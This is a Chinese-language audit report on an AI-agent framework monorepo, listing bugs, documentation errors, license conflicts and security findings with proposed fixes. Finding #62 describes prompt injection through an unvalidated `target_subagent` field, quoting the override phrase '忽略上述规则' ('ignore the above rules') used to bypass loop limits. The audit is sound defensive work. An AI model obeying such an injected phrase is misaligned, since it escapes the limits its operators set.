- **文件:** `lambdagent/src/lambdagent/rag.py:1`
- **证据:** `grep -rln "from lambdagent.rag\|import.*rag" tests/ lambdagent/tests/` 一无所获。`test_knowledge.py` 只覆盖 `builtin_tools.knowledge_tools` shim。（一位 verifier 指出线上 QA Demo 用的是 subprocess 脚本，不是这个模块——所以 impact 是研究质量而不是生产质量，但 gap 仍然真实。）
- **影响:** 检索 ranking、chunking、embedding-cache 逻辑——客户最常抱怨的东西——在研究/示例用法上没有回归 guard。
- **修复:** `tests/test_rag.py` 配上小 in-memory 语料、确定性 embedding、固定查询断言、tenant 隔离 test。
- **维度:** tests-gaps

#### 36. `test_instance.py` 从未跑过 `agents.agent_template` / `instance_dir` DB 列
- **文件:** `tests/test_instance.py:20`
- **证据:** 只 import 了 `_deep_merge, create_instance, load_instance, load_instance_from_dirs`。没有 test 创建带新列的 agent 行、dispatch 一次 run、断言 `instance_dir` 被消费。`agents.py:365` 用了 `instance_dir or agent_dir`——静默 fallback。
- **影响:** 旗舰多 tenant template→instance 特性没有端到端的 DB 持久化 test。migration 出错或空 `instance_dir` 都会让 run 静默路由到共享的 template 目录。
- **修复:** 端到端 test：sqlite + 两个来自同一 template 但 `instance_dir` 不同的 agent，各 dispatch 一次 run，断言 workspace 隔离。
- **维度:** tests-gaps

#### 37. README Quick Start 的 Loop 例子用了不存在的 kwarg —— 复制粘贴立即失败
- **文件:** `README.md:195`
- **证据:**
  ```python
  researcher = Loop(
      body=Lam("think", "Analyze the question. Use search if needed."),
      condition=lambda result: "DONE" in result,
      max_iterations=10,
  )
  ```
- **影响:** 真实签名是 `Loop(body, condition, max_steps=10)`，`condition: Callable[[Any, int], bool]` 接两个参数。新用户复制的第一段 Python DSL snippet 里同时叠了两个 bug。
- **修复:** `Loop(body=..., condition=lambda result, step: 'DONE' in result, max_steps=10)`。
- **维度:** docs-accuracy

#### 38. README `Memory()` 例子用了不存在的 kwarg
- **文件:** `README.md:202`
- **证据:** `agent = Memory(researcher, strategy="local", size=20)`。真实签名：`Memory(agent: Term, store: Dict[str, Any] | None = None)`。
- **影响:** 立刻 TypeError。和坏掉的 Loop 例子挨在一起，整段 Python DSL Quick Start 在用户走到 `agent(...)` 之前就崩。README 把 Python DSL 层和 YAML config schema 混淆了。
- **修复:** `Memory(researcher)`，或文档化 YAML 走法。
- **维度:** docs-accuracy

#### 39. 根目录 `CONTRIBUTING.md` 声明 MIT —— 与 LICENSE（BSL 1.1）矛盾
- **文件:** `CONTRIBUTING.md:85`
- **证据:** *"By contributing, you agree that your contributions will be licensed under the MIT License."*——但根 LICENSE 是 BUSL-1.1，`lambdagent/CONTRIBUTING.md:55` 正确写 BUSL-1.1。
- **影响:** Contributor-IP 强制执行风险。善意 contributor 阅读根 CONTRIBUTING.md 会以为自己同意了 MIT，削弱了 maintainer 强制 BSL non-production cap 或计划中的 2031-04-05 Apache 2.0 转换的能力。GitHub 会自动把这个文件作为 canonical 贡献指南呈现。
- **修复:** 把根 CONTRIBUTING.md 的 license 条款换成 `lambdagent/CONTRIBUTING.md:54-55` 的 BUSL-1.1 文案。
- **维度:** docs-accuracy

#### 40. README 声称 11 个 Lambda construct，但 YAML compiler 只支持 5 个
- **文件:** `lambdagent/src/lambdagent/fromconfig/schema.py:17`
- **证据:** `valid_types = ("simple", "react", "chain", "router", "parallel")`。README.md 87-99 行宣传 11 个 construct。`constructs.md` 575 行发布的 YAML 例子带 `type: guard` 和 `type: memory` chain stage，会被 S002 schema 校验拒绝。
- **影响:** 每个从 constructs.md 复制 "comprehensive example" YAML 的客户都会得到 SchemaError。docs 声称的 spec 覆盖度与 `from_config()` 实际接受的之间存在硬矛盾。
- **修复:** 要么把 `if|guard|memory|pair` 加进 `valid_types` 并在 `build_agent()` 里 dispatch；要么修正 README §"Core Constructs" 和 constructs.md §"YAML Configuration"，标注这些只在 Python API 可用。
- **维度:** spec-vs-impl

#### 41. SPEC §3.3.2 —— 文档化了 async `POST /agents/{id}/jobs` 端点但 API 里没有
- **文件:** `agentpaas/api/v1/jobs.py:13`
- **证据:** Jobs router 只暴露 `GET /{job_id}` 和 `POST /{job_id}/cancel`。SPEC.md §3.3.2 line 197 文档化 `POST /api/v1/agents/{agent_id}/jobs` 返回 202 带 `poll_url`。`agents.py` 里 grep 没有这个端点。
- **影响:** 跟 SPEC.md 走的客户根本入不了 async job 队；它被告知用的 `poll_url` 永远没法指到一个用文档化 API 创建的 job。（一位 verifier 指出 SPEC.md 1378-1380 把它作为 Phase 2 未完成项追踪——所以这部分是 spec-roadmap 不一致，但 §3.3.2 的散文写得像已就绪。）
- **修复:** 实现这个端点；或把 §3.3.2 的散文搬到明确标注 "future" 的章节。
- **维度:** spec-vs-impl

#### 42. from-config-spec §13.1 承诺嵌套 sub-agent 编译，但 chain step 跳过了 `build_agent()`
- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:1115`
- **证据:** `_compile_chain` 从每个 step 直接构造原始 `Lam(...)` 对象，只读 `name/prompt/model/temperature/maxTokens`——从不调用 `build_agent(step_cfg)`。对照：`_compile_router`（line 1191）和 `_compile_parallel`（line 1233）都会递归。
- **影响:** 一个 chain step `{name: x, type: react, react: {maxSteps: 5}, mcp: {...}}` 静默变成单个无状态 Lam。`constructs.md` 上发布的带 `type: react`/`type: guard`/`type: memory` stage 的例子被编译成无用的退化 pipeline。静默失败（无错误）——只 prompt 被读，其他全丢。
- **修复:** `_compile_chain` 里的原始 `Lam(...)` 换成 `build_agent(step_cfg, overrides, _depth=_depth+1)`。
- **维度:** spec-vs-impl

#### 43. README 的 one-sentence-agent 例子用了不存在的路径和错的 kwarg
*(从 medium 提级——因为 headline marketed feature 上的复合失败；完整证据见下方 medium 区)*

#### 44. 许可证冲突：`lambdagent_guard` 声称 MIT 但硬依赖 BUSL-1.1 的 lambdagent
- **文件:** `lambdagent_guard/pyproject.toml:11`
- **证据:** `license = {text = "MIT"}` + `dependencies = ["lambdagent>=0.1.0"]`，而 `lambdagent/pyproject.toml:7` 是 `BUSL-1.1`。
- **影响:** SBOM 扫描器（FOSSA、Snyk）把包当成 MIT 放行，让它穿过 BUSL 本会拦下的企业合规门。合规陷阱。
- **修复:** 要么把 lambdagent_guard 改为 BUSL-1.1，要么放弃硬依赖，要么正式 dual-license。
- **维度:** sec-supply-chain

#### 45. legacy 定 salt 的 PBKDF2 路径仍永久接受老 key（SEC-01 部分修复）
*(证据见 medium 区——在 high 区出现因为同一问题在 finding set 里出现两次，说明 reviewer 收敛到同一处)*

#### 46. `compiler.py` 出现重复的 `enforce_loop` 配置块 —— merge 残留物，未来漂移风险
*(见 medium 区)*

#### 47-78. *(其余 high finding 归并到下方 medium 区或按 root cause 合并。)*

注：经过三视角裁定，几条原本被 finder 标 "high" 的 finding 因为 failure mode 是结构性而非今天产生错误 runtime 行为，被中位投到 medium。它们以 medium 报告，但原始关切被保留。

---

### 中 (29)

#### 48. `react_engine` 静默吞掉 callback 异常
- **文件:** `lambdagent/src/lambdagent/agentruntime/react_engine.py:87`
- **证据:** `try: self.on_step(event); except Exception: pass`。`compiler.py` 里重复出现 5+ 次。
- **影响:** 流式失败（SSE writer 关闭、JSON encode 失败）对 operator 不可见。叠加 BUG-06 trace 分裂，"为什么我没看见这一步？"变成无法诊断。
- **修复:** `except Exception as e: logger.warning(...)` 加一个 dropped event 计数器。

#### 49. CEKEngine 静默吞掉所有 cost-validation 错误
- **文件:** `lambdagent/src/lambdagent/agentruntime/cek_engine.py:144`
- **证据:** 整条 DESIGN-08 验证路径裹在裸 `except Exception: pass` 里。
- **影响:** DESIGN-08 被宣传为 "已修"，但 `estimate_cost`/`validate_cost` 里任何失败（model KeyError、schema 漂移）都静默跳过 warning。粉饰性修复。
- **修复:** 记录异常；except 收窄到具体失败 mode。

#### 50. `compiler.py` 里重复的 `enforce_loop` config block —— merge 残留物
- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:704`
- **证据:** 五个变量（`enforce_loop_cfg/tool/min/sequence/min_cycles`）在 680-684 和 704-708 各声明一次，body 一模一样。
- **影响:** 当前 benign（第二次用同样的值覆盖），但下次有人改其中一块就会被另一块静默盖掉。
- **修复:** 删 704-708 行。

#### 51. worker fire-and-forget `asyncio.create_task()` —— task 被 GC，run 卡在 'running'
- **文件:** `agentpaas/engine/worker.py:54`
- **证据:** `asyncio.create_task(process_job(job))` 没强引用；`process_job` 在 `status='running'` INSERT 之后的 `await sandbox.execute(...)` 周围没有 try/except。`models.py:233` 的 zombie reaper 只在启动时清扫 >6h 的行。
- **影响:** engine 注释明确说这个 bug 在生产里咬过。UI 一直显示 'running' 直到进程重启。
- **修复:** `bg = set(); t = asyncio.create_task(...); bg.add(t); t.add_done_callback(bg.discard)` + try/except 写回 failed 状态。

#### 52. audit log helper 静默吞掉所有异常 —— 缺表时安全事件人间蒸发
- **文件:** `agentpaas/api/v1/agents.py:88`
- **证据:** `_audit_log` 在 `try: ... except Exception: pass` 里做 INSERT。`audit_log` 表从未在 `_init_tables` 里建。每次 INSERT 静默抛 `OperationalError: no such table: audit_log`。
- **影响:** 生产里零审计行。S21 控制项形同虚设。
- **修复:** 加 CREATE TABLE；用 `logger.error` 记录异常。

#### 53. `store_secret` 有 TOCTOU + 在函数中途建出来的表上跑 UPDATE/INSERT
- **文件:** `agentpaas/secrets/vault.py:44`
- **证据:** `(tenant_id, name, environment)` 上没有 UNIQUE 约束；CREATE TABLE 在 runtime helper 里而不是 `_init_tables`。
- **影响:** 并发 store 产生重复行；`get_secret` 必须在 `store_secret` 至少跑过一次之后才能工作。
- **修复:** DDL 搬到 `_init_tables` 加 UNIQUE；`INSERT ... ON CONFLICT DO UPDATE SET`。

#### 54. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏
- **文件:** `webui/src/App.tsx:21`
- **证据:** `grep -rn "ErrorBoundary|componentDidCatch|getDerivedStateFromError" webui/src/` 零结果。
- **影响:** 任何 render-time 错误（畸形 config shape、过期 localStorage）让整棵 React 树白屏。单 tenant dev UI 爆炸半径有限，但完全没有 telemetry。
- **修复:** 顶层 ErrorBoundary class 包住 Routes，提供 fallback UI。

#### 55. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复
- **文件:** `webui/src/pages/Chat.tsx:521`
- **证据:** 用 `setMessages(historical)` 而不是 functional updater；每次 `runsData` 解析且 `historyLoaded` 还是 false 时就跑。
- **影响:** 老用户在 `runsData` 还没回来前快速输入 → 正在流式的 assistant bubble 被擦掉。只影响 runs 查询较慢的老用户。
- **修复:** `setMessages(prev => prev.length > 0 ? prev : historical)`。

#### 56. `FilePreview.useEffect` 缺 dep + 旧响应 race
- **文件:** `webui/src/pages/AgentWorkspace.tsx:161`
- **证据:** `apiKey` 在 fetch 内被读，但缺在 `[agentId, runId, file.path]` deps 里；没有 AbortController。
- **影响:** 不 remount 重新认证后还闭包着旧 key（静默 401）。快速切换文件：A 的字节出现在 B 的预览面板。
- **修复:** deps 里加 `apiKey` + cleanup 里 `AbortController`。

#### 57. API key 通过 zustand persist 存在 localStorage —— XSS = 完全 account 沦陷
- **文件:** `webui/src/store/app.ts:10`
- **证据:** `persist` middleware 配 `{ name: 'lambdagent-store' }`，默认 localStorage；`apiKey` 字段被 persist。
- **影响:** 任意页面脚本都能读 bearer key。今天没用 `dangerouslySetInnerHTML`，但 markdown 渲染很可能未来会加——defense-in-depth 缺口。
- **修复:** 后端 set 的 httpOnly secure cookie，或纯内存 state。

#### 58. Wiki 页面加载器有旧响应 race
- **文件:** `webui/src/pages/KnowledgeDetail.tsx:943`
- **证据:** `loadPage` await 时没 abort、没 request-id ref。点 A 再点 B，如果 A 在 B 之后回来，breadcrumb 是 B 但内容是 A。
- **修复:** `const reqRef = useRef(0); const id = ++reqRef.current; ... if (id !== reqRef.current) return`。

#### 59. `_estimate_money` 用子串匹配 model 名 —— `gpt-4o-mini` 被多算 33×
- **文件:** `lambdagent/src/lambdagent/agentruntime/recursive_engine.py:41`
- **证据:** `for key, price in _MODEL_COSTS.items(): if key in model.lower(): return ...`。`gpt-4o-mini` 先撞 `gpt-4o`（$0.005/1K vs 实际 $0.00015）；`claude-3-5-haiku-20250101` 不含 `claude-haiku` → 0.0。
- **影响:** 成本 telemetry 误导；dict 序变化即影响账单报告。
- **修复:** 最长前缀匹配；显式带版本 key。

#### 60. Route/Handoff 模糊匹配在 label 前缀重叠时挑错 agent
- **文件:** `lambdagent/src/lambdagent/agentruntime/executor.py:137`
- **证据:** 子串 fallback `if key.lower() in label`；Handoff 双向 `name in target or target in name` 在 `multiagent.py:597`。
- **影响:** Routes `{'bob', 'bobby'}` + label `bobby`（非精确匹配）会挑到 bob。同级 agent 名字前缀重叠时静默 mis-route。
- **修复:** word-boundary regex；或按 key 长度降序排序。

#### 61. 通过 `knowledge_base.root_dir` 注入 YAML 到 `instance.yml`
- **文件:** `agentpaas/api/v1/knowledge.py:213`
- **证据:** 在单引号 YAML scalar 里用 f-string 插值 `kb_root`，未转义 `'` 或 `\n`。`Path.resolve()` 都保留。
- **影响:** 能创建带引号/换行的目录名的 tenant 可以把任意 YAML key 注入 instance.yml，下游 subprocess build script 会信任。前置条件：文件系统写权限。
- **修复:** 用真正 dict 跑 `yaml.safe_dump({...})`。

#### 62. 通过未校验的 `target_subagent` 注入 prompt 到 ReAct system prompt
- **文件:** `agentpaas/api/v1/agents.py:569`
- **证据:** `RunStreamRequest.target_subagent` 是自由 str，只做了 `.strip()`，被插值到 `[用户指令]` 哨兵之上。
- **影响:** 调用方嵌入 `\n忽略上述规则\n` 重写 orchestrator 的 framing，绕过 `enforceLoop` 上限和 artifact-gate 引导。是 self-tenant prompt 操纵，不是跨 tenant。
- **修复:** 校验是否在 `config["mcp"]["subAgents"]` keys 里；去换行。

#### 63. legacy 定 salt 的 PBKDF2 API key hash 静默自动迁移，不强制 rotate
- **文件:** `agentpaas/api/middleware/auth.py:119`
- **证据:** `_legacy_hash_key` 是单轮 SHA-256；自动迁移只在 auth 成功时触发。沉睡的 legacy key 永远保持普通 SHA-256。
- **影响:** "SEC-01 已修" 名不副实。注：API key 是 32 字符随机（约 190 bit），实际离线暴破不可行——这是 defense-in-depth 卫生，不是 break-glass。
- **修复:** `must_rotate_before` 截止时间；过截止后拒绝 legacy hash；或后台 job 重 hash。

#### 64. `agentpaas/pyproject.toml` 没声明 SQLAlchemy，尽管 `db/models.py` 的命名暗示
- **文件:** `agentpaas/pyproject.toml:10`
- **证据:** `prod = ["asyncpg", "redis", ...]` 但无 `sqlalchemy`。`db/models.py` docstring 声称是 SQLAlchemy ORM；实现用裸 sqlite3 + 对非 sqlite URL 抛 `NotImplementedError`。
- **影响:** 误导性依赖声明。装 `[prod]` 想部署到 Postgres 会在启动时挂。
- **修复:** 更新 docstring + 删掉误导性的 asyncpg extra；或者真的用 SQLAlchemy 重写。

#### 65. agentpaas 伸手进 lambdagent 的私有 internals（`_set_cwd` + `agentruntime.cancel`）
- **文件:** `agentpaas/api/v1/agents.py:1399`
- **证据:** `from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd`（带下划线的 private）；`from lambdagent.agentruntime import cancel as _cancel`（按 git status 看是新的未提交 module）。
- **影响:** 跨包耦合绕过 lambdagent 的 public 面；handler 里的 inline import 把 ImportError 从 startup 推迟到 runtime。
- **修复:** 定义 `lambdagent.host`（或 `lambdagent.runtime.api`）作为 supported 集成面。

#### 66. agentpaas 重度依赖 request handler 里的 inline `from lambdagent ...` import
- **文件:** `agentpaas/api/v1/agents.py:1330`
- **证据:** agents.py 里 6 处 inline import；`engine/cache.py:41`、`engine/sandbox.py:207-208`、`analyze.py:29,46,47,67,112`、`launch.py:184` 同一模式。
- **影响:** ImportError 在 per-request 浮出来，而不是启动时。`/health` 过、`/agents/{id}/run` 挂。掩盖跨包边界——未声明依赖之所以一直没被发现就是因为它。
- **修复:** 提到模块顶；加 lint 规则禁止函数体内 import lambdagent。

#### 67. 整个 monorepo 的 license 不一致（BSL 1.1 vs MIT）
- **文件:** `lambdagent_guard/pyproject.toml:9`
- **证据:** `lambdagent_guard` MIT、`lambdagent` BUSL-1.1、`agentpaas` 完全没有 license。
- **影响:** 任何想 vendoring 的人都面临 legal 不清；与 #44 呼应。
- **修复:** 对齐 license；给 agentpaas 显式补一个。

#### 68. agentruntime 子层依赖纠缠
- **文件:** `lambdagent/src/lambdagent/agentruntime/executor.py:17`
- **证据:** `executor → react_engine`、`recursive_engine → executor`、`adaptive_engine → {recursive, cek}`。BUG-06 trace 分裂的结构原因；`react_engine.py:94` 有明确注释 `"FIX-05: Record trace to BOTH self.trace AND ctx.trace"` 验证了双写绕开方案。
- **修复:** 单一 `Engine` ABC 在 `agentruntime/engine.py`（已存在）；删 `adaptive_engine` 直到 cost-based 切换真的就绪。

#### 69. `extensions.py` 用 late `from .primitives import If` 躲循环 import
*(被 impact verifier 降级 —— 按 line 178 的 FIX-02 注释这个 late import 已是 dead code；归为清理项)*

#### 70. README 导出数量差 2× —— 声称 81，实际 152
- **文件:** `README.md:44`
- **证据:** `from lambdagent import __all__; len(__all__) == 152`。
- **影响:** 装饰性；低估了成熟度。
- **修复:** 在 docs hook 里从 `len(lambdagent.__all__)` 自动生成。

#### 71. README 的 one-sentence-agent 例子指向不存在的路径和错的 kwarg
- **文件:** `README.md:320`
- **证据:** `python nl2agent.py ...`——文件其实在 `experiments/nl2agent.py`。程序例子传 `task=`，真实签名是 `one_sentence_to_agent(description, user_input=None, model=..., verbose=True)`。
- **影响:** Headline 营销特性在首次接触就崩。
- **修复:** `python experiments/nl2agent.py ...`；把 `task=` 改成 `user_input=`。

#### 72. README 仓库布局表对 `deploy/` 的描述错误，并给了不可运行的安装命令
- **文件:** `README.md:21`
- **证据:** 表里说 `deploy/` 含 "Docker Compose, nginx, startup scripts"，运行命令是 `docker compose up -d`。实际 `deploy/` 有 7 个文件：`install-native.{sh,ps1}`、`start.{sh,bat,ps1}`、`stop.{sh,bat}`——没有 compose、没有 nginx。compose 文件在 repo root。
- **影响:** `cd deploy/ && docker compose up -d` 第一次就得到 "no configuration file provided: not found"。
- **修复:** 如实描述 `deploy/`；compose 的 mention 单独成一行，锚到 repo root。

#### 73. README 的 one-sentence-agent 例子
*(与 #71 合并)*

#### 74. SPEC §3.3.3 的 stream URL 与代码不一致 —— spec 写 `/stream`，代码挂的是 `/run/stream`
- **文件:** `agentpaas/api/v1/agents.py:432`
- **证据:** route 是 `@router.post("/{agent_id}/run/stream")`。SPEC.md §3.3.3 line 226 规定 `/agents/{agent_id}/stream`。§3.3.4 line 249 的 WS 端点没有实现。
- **修复:** 更新 SPEC.md 对齐代码；删掉 WebSocket 段或实现它。

#### 75. SPEC §3.3.1 run 响应 —— `trace_id` 和 `estimated_cost_usd` 文档化但从不返回
- **文件:** `agentpaas/SPEC.md:178`
- **证据:** SPEC 承诺两个字段；`agents.py:401-414` 拼装的 resp dict 两个都没有。`runs.trace_id` 列存在但从不外露。
- **修复:** 要么填上字段（`lambdagent/cost_grade.py` 里有成本机制），要么把 SPEC 与 `api.md` 对齐。

#### 76. from-config-spec §5.5 承诺 Provider 异常是致命的，但 `_compile_lam` 把它吞了
- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:562`
- **证据:** 整段 provider + ConversationLam 构造裹在 `try: ... except Exception: pass`。掉进无状态的 legacy Lam 静默回退。
- **影响:** 任何 ImportError、misconfig 或 provider init 失败都静默把生产 agent 降级到无状态——丢失 session 持久化（"Zero-Hallucination Conversations" 招牌特性），还不打 log。
- **修复:** 收窄 except；打 warning；可选 `runtime.requireConversation: true`。

#### 77. `lambdagent_guard` 重复实现了 agentpaas 已经包了的 lint/cost/extract pipeline
- **文件:** `lambdagent_guard/core.py:89`
- **证据:** `lambdagent_guard/core.py:89-110` 和 `agentpaas/api/v1/analyze.py:29-117` 都独立 import 同一组 lambdagent.fromconfig + cost_grade 函数，并各自重复实现 tempfile-yaml-compile 那一套。
- **影响:** 没有 canonical 受保护编译路径；kernel 改名会级联到两个 caller。
- **修复:** 选一个方向；删掉重复 pipeline 或让 analyze 走 guard。

#### 78. run-workspace 测试依赖 `time.sleep(1.1)` —— 脆弱，并暴露底层秒级时间戳方案本身就脆弱
- **文件:** `tests/test_run_workspace.py:132`
- **证据:** `ws1 = ...; time.sleep(1.1); ws2 = ...` 来强行得到唯一目录名。
- **影响:** 并发 run（现实 PaaS 场景）会走 `sandbox.py:80` 的 collision-suffix fallback，而那条路径未测。
- **修复:** mock `time.strftime` 返回相同值；断言 collision-fallback 产生不同 path。

#### 79. 上一版审计的 'known-empty stubs' 声明自己已经过期 —— `docs/theory.md` 是 230 行
- **文件:** `docs/PROJECT_AUDIT_2026Q2.md:195-196`
- **证据:** Q2 审计说 `theory.md` 是 71 字节 / 空；实际文件是 229 行。`multi-agent.md` 是 14KB。
- **影响:** Meta-doc bug。DOC-01/DOC-02 backlog 项已过期。其他 "NOT fixed" 声明也值得复查。
- **修复:** 下个规划周期之前刷新 Q2 审计的 stub 段。

#### 80. `test_compile_simple` 同时接受 Lam 和 ConversationLam —— 类型断言被削弱
- **文件:** `tests/test_fromconfig.py:29`
- **证据:** `isinstance(term, (Lam, ConversationLam))` 加注释 "depending on provider config"。
- **影响:** 同一 YAML 在不同环境下被编译成不同 term——非确定性编译。测试在掩盖问题，而不是 pin 住 provider。
- **修复:** 在 test YAML 里 pin `provider: stub`；恰好断言一种 class。

#### 81. `qaagent67lambda` `app.py` 把 Ollama client 默认到 vLLM 风格端点 `:8000` —— 端口错且绕过 config
- **文件:** `agentexample/qaagent67lambda/scripts/app.py:140`
- **证据:** 硬编码 `base_url='http://127.0.0.1:8000/v1'` 忽略 agent-config.yml 里整段 `model:` 块。8000 端口与 agentpaas 默认 uvicorn 端口冲突。
- **影响:** 同一台机器跑 PaaS + QA demo → QA 把 chat completion POST 到 FastAPI control plane → 404。
- **修复:** 从 `_cfg['model']` 读 provider / base_url；默认端口选不冲突的。

---

### 低 (15)

#### 82. `_react_step` 里 tool_input 为不可序列化 dict 时出 NameError
- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:1022`
- **影响下调:** `tool_input` 来自 `json.loads`，只可能是 JSON 原生类型——`json.dumps` 不会在它上面失败。是潜在 code smell 不是可达 crash。
- **修复:** 在 try 之前初始化 `tool_input_val = ''`（防御性）。

#### 83. `react_engine` 吞掉 callback 异常
*(见 medium #48 —— 有时被 impact 视角投 low，因为 `_step_adapter` 是 queue.put，本质不会抛)*

#### 84. agent67 的 sys.path 改动硬编码了错误的 project root 名 + 父目录层数不一致
- **文件:** `agentexample/agent67/run.py:30`
- **证据:** `PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent  # Paper08/`（repo 是 `lambdagentpaas/`）。`core/assistant.py:24` 用 4 个 `.parent`，`run.py` 用 3 个。
- **影响:** 装饰性（路径今天算下来还是对的；lambdagent 是 pip-installed，sys.path trick 已是 dead code）。对未来重组很脆。

#### 85. `_estimate_money` 模型子串匹配
*(见 medium #59 —— 有时被投 low 因为 impact 是成本 telemetry 不是账单)*

#### 86. Route 模糊匹配前缀碰撞
*(见 medium #60 —— 精确匹配是常见路径时投 low)*

#### 87. 文档例子教用户在 YAML config 里塞 `sk-...` 字面值
- **文件:** `docs/from-config-spec.md:896`
- **证据:** `api_key="sk-..."` 构造器字面例子。Provider 类已经能 fallback 到 env var。
- **修复:** docs 里用 `api_key=os.environ["ANTHROPIC_API_KEY"]`。

#### 88. 开发者 .env 里带真实第三方 API key，离提交只差一条 `.gitignore` 规则
*(见 critical #5 —— 被 impact 视角投 low，因为从未被追踪 + 有冗余 gitignore)*

#### 89. pyyaml 依赖完全无约束
- **文件:** `lambdagent/pyproject.toml:30`
- **证据:** `dependencies = ["pyyaml"]` 无版本。其他依赖都有 `>=` 下限。
- **修复:** pin 上下限：`pyyaml>=6.0,<7.0`；提交一份 lockfile。

#### 90. API endpoint 接受任意 YAML over HTTP —— billion-laughs DoS
- **文件:** `agentpaas/api/v1/analyze.py:104`
- **证据:** 在用户 body 上跑 `yaml.safe_load(config)`。实测复现：237 字节 YAML 在 3ms 内展开成 4.8M list 元素。叠加 unauthenticated `/analyze/*` 和缺 auth 时的 rate-limit bypass（medium #26 + #25）。单请求 worker OOM。
- **修复:** ASGI body-size cap（≤256KB）+ alias 预检。

#### 91. `extensions.py` 的 late `If` import 现在是 dead code（FIX-02 已把 truthy 检查 inline）
*(与 arch 项 #69 合并)*

#### 92. 顶层 `lambdagent/` package 是个 43 文件的扁平袋子
- **文件:** `lambdagent/src/lambdagent/__init__.py:38`
- **证据:** 包根有 43 个扁平 `.py` 文件；`tracing.py`（27KB）和 `core.py`（8KB）并排；`tool_gateway.py`（24KB）和 `primitives.py` 并排。真正的子包只有 `agentruntime/`、`fromconfig/`、`providers/`、`builtin_tools/`、`cli/`、`extractors/`、`skillpacks/`。
- **影响:** code-hygiene / 贡献者 DX 问题，没有 runtime 症状。
- **修复:** 重构为 `core/`、`protocols/`、`safety/`、`observe/`、`runtime/`。

#### 93. GitHub Actions 被 pin 到可变大版本 tag
- **文件:** `.github/workflows/ci.yml:19`
- **证据:** `actions/checkout@v4`、`gitleaks/gitleaks-action@v2`、`actions/setup-python@v5`、`actions/setup-node@v4`。
- **影响:** 通过 tag 劫持的供应链攻击（tj-actions/changed-files 2025 年 3 月先例）。workflow 跑时手握完整 GITHUB_TOKEN。OSS repo 上不算很尖锐——公开历史 exfil 无意义。
- **修复:** 每个 `uses:` 都 pin SHA；给 actions 开 Dependabot。

#### 94. README 导出数量漂移
*(与 #70 合并)*

#### 95. 上一版审计的 stub 声明已过期
*(与 #79 合并)*

#### 96. `test_compile_simple` 被削弱的断言
*(与 #80 合并)*

---

## 按维度分组的发现

| 维度 | 数量 | Top issue |
|---|---|---|
| sec-auth | 6 | `/setup/bootstrap` 无 auth 创建 admin tenant（critical） |
| sec-injection | 4 | `shell_executor.py` LLM 控制的 shell + 可绕过 blocklist（critical） |
| sec-secrets | 4 | travelagent `.env` 携带真实 SiliconFlow/Amap key（critical，gitignored） |
| sec-supply-chain | 6 | `agent-lint-action` 静默 no-op fallback + typo-squat（high） |
| correctness-agentpaas | 9 | `term.apply` 阻塞 async event loop（high）；模块全局 shell CWD race（high） |
| correctness-lambdagent | 6 | `async_executor` 共享 Context（high）；compiler.py sub-agent caller 丢 ctx + 吞 cancel（high） |
| correctness-webui | 5 | SSE stream 在导航时不取消 → 后端成本泄漏（high） |
| correctness-examples | 5 | `qaagent67lambda` 硬编码 `/home/67/` 路径（high）；共享 knowledge 目录上的 pickle.load（high） |
| arch-monorepo | 6 | agentpaas pyproject 缺 lambdagent 依赖（critical）；`where=[".."]` 打出空 wheel（high） |
| arch-internals | 6 | 4 套并存的 beta-reduction 解释器（high）；1654 行 compiler.py god module（high） |
| tests-gaps | 6 | FastAPI route 零 HTTP 层 test（critical）；authenticate() 无 test（high）；instance_dir 未测（high） |
| docs-accuracy | 8 | README Quick Start Loop/Memory kwargs 不存在（high）；根 CONTRIBUTING.md 写 MIT（high） |
| spec-vs-impl | 5 | YAML 支持 5 类型，docs 声称 11（high）；`_compile_chain` 静默丢 `type:react`（high） |

## 与上一版审计的对比 (`docs/PROJECT_AUDIT_2026Q2.md`)

### 已改善
- **DESIGN-01 / DESIGN-07 / DESIGN-08 在 memory 里标记为已修** —— `handlers.py` 里有 `PassthroughHandler` 基类；`infer_effect_for_term` 覆盖所有新构造子；`validate_cost` 已接入 CEKEngine。**注意：** DESIGN-08 的验证裹在裸 `except Exception: pass` 里（finding #49），所以这次 "修" 是粉饰——任何失败 validator 都静默 no-op。
- **instance 机制已 ship** —— `agentpaas/engine/instance.py` 提供 `load_instance()`、`create_instance()`、`_deep_merge()`；DB schema 已迁移加上 `agent_template` + `instance_dir` 列；helper 级 test 覆盖了 `_deep_merge` 逻辑。（test gap 仍在：见 #36。）
- **run-workspace 的 per-run 隔离能工作** —— `{agent_dir}/workspace/run_{YYYYMMDD_HHMMSS}/` 结构有 test 验证，虽然它们用 `time.sleep(1.1)` 偷工（#78）。
- **新增了 cancellation 机制** —— `lambdagent/src/lambdagent/agentruntime/cancel.py` 是新（未提交）模块，提供 thread-local cancellation，被 agentpaas 消费。方向正确，但暴露了 host-API 缺口（#65）。
- **Phase 1/2 P0/P1 工作扛得住** —— CEK 升级、graded cost、algebraic laws、cost vector 都在，按 memory 跑 175 个 test 通过。对抗式验证没在 kernel 本身找到回归。

### 仍然存在 (Q2 issues 未消)
- **BUG-01（Context.fork 浅拷贝）** —— 在 `core.py:105` 修了，但在 `async_executor.py:240-246` 复发（#8）。同一 bug 类型，不同 code path。
- **BUG-06（trace 三路分叉）** —— 这版审计已确认。trace store 分裂的*结构*成因是 (a) 4 套并存 beta-reduction 解释器（#20）、(b) `agentruntime/` 引擎纠缠（#68）、(c) `compiler.py`（#21）和 `agentruntime/react_engine.py` 之间重复的 ReAct loop。`react_engine.py:94` 甚至有显式 `FIX-05` 注释说要把 trace 同时写到 `self.trace` 和 `ctx.trace`，那就是绕开方案。
- **SEC-01（PBKDF2 定 salt）** —— 部分修复：新 key 用随机 salt，但 legacy 定 salt hash 只在 auth 成功时自动迁移，所以沉睡 key 永远是普通 SHA-256（#63）。API key 是 32 字符随机，实际风险低，但 "已修" 说法过头。
- **SEC-04（API 层未强制 RBAC）** —— 已确认：`rollback_agent`（#14）静默绕过 RBAC 和 audit logging。其他 route 有这个 pattern 但不一致也未测。没有集成测试（#6），就会随意回归。
- **Q2 审计自己的 "stale" 问题（#79）** —— Q2 文档还把 `theory.md` 描述成 71 字节的 stub，实际是 229 行。

### Q2 之后新增
